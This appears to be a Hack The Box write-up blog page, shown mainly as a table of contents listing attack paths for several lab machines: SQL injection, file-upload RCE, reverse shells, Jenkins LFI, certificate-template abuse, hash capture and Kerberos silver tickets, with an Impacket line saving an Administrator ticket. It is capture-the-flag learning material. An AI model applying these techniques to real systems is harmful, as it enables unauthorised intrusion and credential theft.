Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in Administrator.ccache

Medium on sl0wguy's Blog

HTB | Monitored

Users

Enumeration

nmap TCP

Foothold

SNMP

Nagios XI - Cannot login

SQL Injection

Stable Shell

SSH to nagios

Privilege Escalation

CVE-2024-24402

HTB | Updown

Enumeration

nmap

Foothold

siteisup.htb - Port 80

Subdomain dev.siteisup.htb

dev/.git - git-dumper

checker.php

File Upload - PHP RCE

Reverse Shell - proc_open

www-data -> developer

SUID binary - Python Injection

developer -> root

easy_install as root

HTB | Builder

Users

Enumeration

nmap

Foothold

Jenkins 2.441 - port 8080

Local File Inclusion - CVE-2024-23897

Jenkins Reverse Shell

Privilege Escalation

Root - SSH Private Key

SSH as root

HTB | Escape

Users

Enumeration

nmap

Foothold

SMB Share ENumeration - guest

Public Share - “SQL Server Procedures.pdf”

Credentials for MSSQL

MSSQL : xp_dirtree and responder

Hashcat : sql_svc password

ERRORLOG.BAK : Ryan.Cooper password

Privilege Escalation : ESC1 Template

Enumeration : certipy find

Requesting a Malicious Certificate

Getting a TGT as Administrator

Gaining Administrator Shell (psexec)

HTB | Intelligence

Users

Enumeration

nmap

Foothold

intelligence.htb

Fuzzing files

Password found in pdfs

User list from pdfs creators

Tiffany.Molina : user flag

Rusthound bloodhound

Tiffany.Molina -> Ted.Graves

SMB : IT Share

New DNS Record

Responder

Ted NTLMv2 Hash

Ted.Graves -> svc_int$

ReadGMSAPassword Right on svc_int$

svc_int$ -> Administrator

msDS-AllowedToDelegateTo : WWW/dc.intelligence.htb

Silver Ticket : impersonate Administrator

Tips

HTB | Magic

Users

Enumeration

nmap